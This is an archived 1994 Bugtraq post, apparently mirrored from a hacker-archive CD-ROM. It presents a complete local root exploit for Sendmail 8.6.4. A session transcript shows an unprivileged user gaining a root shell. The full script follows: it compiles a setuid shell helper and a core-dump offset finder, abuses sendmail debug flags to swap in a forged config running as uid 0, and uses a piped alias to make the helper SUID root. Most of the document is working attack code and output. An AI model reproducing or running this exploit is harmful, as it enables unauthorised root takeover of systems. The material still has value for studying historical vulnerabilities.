home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sm864.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  7.2 KB  |  295 lines

  1. **************************************************************************
  2.    HACK: Sendmail 8.6.4: Program and script to obtain a root shell
  3.  System: Unix
  4.  Source: james abendchan (jwa@naucse.cse.nau.edu) from Bugtraq
  5. **************************************************************************
  6.  
  7. What follows is a sample run exercising the latest sendmail hole and the
  8. script used to exploit this hole.  This is a re-send; I neglected
  9. to escape the "." in the sendmail script, leaving the program
  10. slightly truncated.  To fix this, I have escaped the . so prior
  11. to executing this you must remove the \.  (does that make any sense? :-)
  12. There was also a small problem with nested quotes pointed out by Peter
  13. Wemm which I have fixed.
  14.  
  15. This is the "small version" of the script; it assumes you have a sane
  16. sendmail.cf.  In this manner, it is not a particularly robust "breakin
  17. script" but I believe it does illustrate how to exploit the bug.
  18.  
  19. This program uses "calc.c," the program mentioned by Timothy Newsham in
  20. an earlier message.  The program has been modified slightly so that it
  21. gives better results (it would occasionally fail to locate the offset of
  22. a config given a buggy sendmail.  The fix is to force a sync() after
  23. it generates a coredump.)  The remainder of the program was written
  24. by myself and a fellow student, Steven Dake.
  25.  
  26. We have held off on releasing this script until we were able to notify
  27. the people responsible for system security at NAU.  Locals subscribing
  28. to this digest beware; sendmail on our machines has been patched! :-)
  29.  
  30. Script started on Thu Mar 24 00:54:54 1994
  31. [pine] [1] date
  32. Thu Mar 24 00:54:57 MST 1994
  33. [pine] [2] whoami
  34. jwa
  35. [pine] [3] id
  36. uid=4473(jwa) gid=400(student)
  37. [pine] [4] ls -l sendbug.sh
  38. -rwx------   1 jwa      student     4893 Mar 24 00:46 sendbug.sh*
  39. [pine] [5] sendbug.sh
  40. Creating setid0 ...
  41. Creating calc...
  42. Scanning core image for /nau/local/lib/mail/sendmail.cf...
  43. Creating alias.sh ...
  44. Creating fake alias file...
  45. Faking alias pointer in new config file...
  46. Creating the sendmail script...
  47. Executing /usr/lib/sendmail -
  48. d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
  49. 4935554.109,4294935555.46,4294935556.9
  50. Version 8.6.4
  51. 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700
  52. 220 ESMTP spoken here
  53. 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
  54. 250 <nobody>... Sender ok
  55. 250 <yash>... Recipient ok
  56. 354 Enter mail, end with "." on a line by itself
  57. 250 AAA01803 Message accepted for delivery
  58. 503 Need MAIL before RCPT
  59. 503 Need MAIL command
  60. 500 Command unrecognized
  61. 500 Command unrecognized
  62. 221 pine.cse.nau.edu closing connection
  63. setid0 is a suid shell.  executing...
  64. executing /bin/csh...
  65. pine# whoami
  66. root
  67. pine# id
  68. uid=0(root) gid=0(root)
  69. pine# exit
  70. pine# end of script.
  71.  
  72. .. and here's the program.
  73.  
  74. #!/bin/sh
  75. # exploit new sendmail bug to give us a root shell
  76. # 24 mar 94  jwa/scd @nau.edu
  77. # "short version"
  78. # tested on sunos 5.2/sendmail 8.6.4
  79.  
  80. # location of sendmail
  81. SENDMAIL=/usr/lib/sendmail
  82.  
  83. # location of original sendmail.cf file
  84. CONFIG=/nau/local/lib/mail/sendmail.cf
  85. #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
  86.  
  87. # program to execute as root
  88. SHELL=/bin/csh
  89.  
  90. TEMPDIR=/tmp/sendbug-tmp.$$
  91. mkdir $TEMPDIR
  92. chmod 700 $TEMPDIR
  93. cd $TEMPDIR
  94.  
  95. cp $SENDMAIL sm
  96. chmod 700 sm
  97.  
  98. echo "Creating setid0 ..."
  99. cat > setid.c << _EOF_
  100.  
  101. /* set uid to zero, thus escaping the annoying csh and solaris sh
  102.  * problem..
  103.  *
  104.  * if (getuid() != geteuid()) {
  105.  *  printf("permission denied, you root-hacker you.\n");
  106.  *  exit(1);
  107.  * }
  108.  *
  109.  * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  110.  * otherwise it runs the 1st arg.
  111.  */
  112.  
  113. #include <stdio.h>
  114.  
  115. main(argc, argv)
  116. int argc;
  117. char *argv[];
  118.  
  119.  int uid;
  120.  
  121.  setuid(0);
  122.  setgid(0);
  123.  seteuid(0);  /* probabally redundant. */
  124.  setegid(0);
  125.  
  126.  uid = getuid();
  127.  
  128.  if (uid != 0) {
  129.   printf("setuid(0); failed!  aborting..\n");
  130.   exit(1);
  131.  }
  132.  
  133.  if (argc !=2) {
  134.   printf("executing /bin/sh...\n");
  135.   system("/bin/sh");
  136.  }
  137.   else
  138.  {
  139.   printf("executing %s...\n", argv[1]);
  140.   system(argv[1]);
  141.  }
  142.  
  143. _EOF_
  144.  
  145. cc -o setid0 setid.c
  146.  
  147. echo "Creating calc..."
  148.  
  149. cat > calc.c << _EOF_
  150. /*
  151.  * Determines offset in sendmail of
  152.  * sendmail.cf file location.
  153.  * author: timothy newsham
  154.  */
  155. #include <fcntl.h>
  156.  
  157. gencore()
  158.  
  159.   int pid;
  160.   int fd[2];
  161.  
  162.   if(pipe(fd) < 0) {
  163.     perror("pipe");
  164.     exit(1);
  165.     return(0);
  166.   }
  167.   pid = fork();
  168.   if(!pid) {
  169.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  170.     dup2(f, 1); dup2(fd[0], 0);
  171.     close(f); close(fd[1]); close(fd[0]);
  172.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  173.     perror("exec");
  174.     exit(0);
  175.   } else {
  176.     sleep(2);
  177.     kill(pid, 11);
  178.   }
  179.   close(fd[0]);
  180.   close(fd[1]);
  181.  
  182.  
  183. main(argc,argv)
  184. char **argv;
  185. int argc;
  186.  
  187.   unsigned int ConfFile,tTdvect,off;
  188.  
  189.   gencore();
  190.   sync();   /* grr. */
  191.   tTdvect = find("ZZZZZZZZ", "core");
  192.   ConfFile = find(argv[1], "core");
  193.   if(!tTdvect || !ConfFile) {
  194.    return(1);
  195.   }
  196.   off = ConfFile - tTdvect;
  197.  
  198.   printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  199.   off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  200.   off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
  201.  
  202.  
  203. int find(pattern, file)
  204. char *pattern,*file;
  205.  
  206.   int fd;
  207.   int i, addr;
  208.   char c;
  209.  
  210.   fd = open(file, 0);
  211.  
  212.   i = 0;
  213.   addr = 0;
  214.   while(read(fd, &c, 1) == 1) {
  215.     if(pattern[i] == c)
  216.       i++;
  217.     else
  218.       i=0;
  219.     if(pattern[i] == '\0') {
  220.       addr -= strlen(pattern);
  221.       return(addr);
  222.     }
  223.     addr++;
  224.   }
  225.   return(0);
  226.  
  227. _EOF_
  228. cc calc.c -o calc
  229.  
  230. echo "Scanning core image for $CONFIG..."
  231.  
  232. DEBUGFLAGS=`calc $CONFIG`
  233.  
  234. echo "Creating alias.sh ..."
  235. echo "#!/bin/sh
  236. # this program will be executed when mail is sent to the fake alias.
  237. # since solaris sh and csh and tcsh refuse to run when euid != realuid,
  238. # we instead run the program we compiled above.
  239.  
  240. /bin/chmod 6777 $TEMPDIR/setid0
  241. /bin/chown root $TEMPDIR/setid0
  242. /bin/sync
  243.  
  244. " > alias.sh
  245.  
  246. chmod 755 alias.sh
  247.  
  248. echo "Creating fake alias file..."
  249. echo "yash: |$TEMPDIR/alias.sh" > aliases
  250.  
  251. echo "Faking alias pointer in new config file..."
  252. egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
  253. echo "
  254. # hacks follow
  255.  
  256. OA/$TEMPDIR/aliases                     # our fake alias file
  257. Ou0                                     # user ID to run as
  258. Og0                                     # group ID to run as
  259. DZWHOOP-v1.0" >> /tmp/sm.cf
  260.  
  261. echo "Creating the sendmail script..."
  262.  
  263. cat > sendmail.script << _EOF_
  264. helo
  265. mail from: <nobody>
  266. rcpt to: <yash>
  267. data
  268. yet another sendmail hole?  suid whoop?
  269. \.                                      # oops.. delete \ prior to execution
  270. quit
  271. _EOF_
  272.  
  273. echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
  274.  
  275. $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
  276.  
  277. # give it time to execute.
  278. sleep 4
  279.  
  280. # cleanup in 5 seconds
  281. (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
  282.  
  283. if [ -u setid0 ]
  284. then
  285.  echo "setid0 is a suid shell.  executing..."
  286.  cd /
  287.  $TEMPDIR/setid0 /bin/csh
  288.  echo "end of script."
  289.  exit 0
  290. else
  291.  echo "setid0 is not suid; script failed."
  292.  echo "apparently, you don't have the bug.  celebrate :-)"
  293.  exit 1
  294. fi
  295.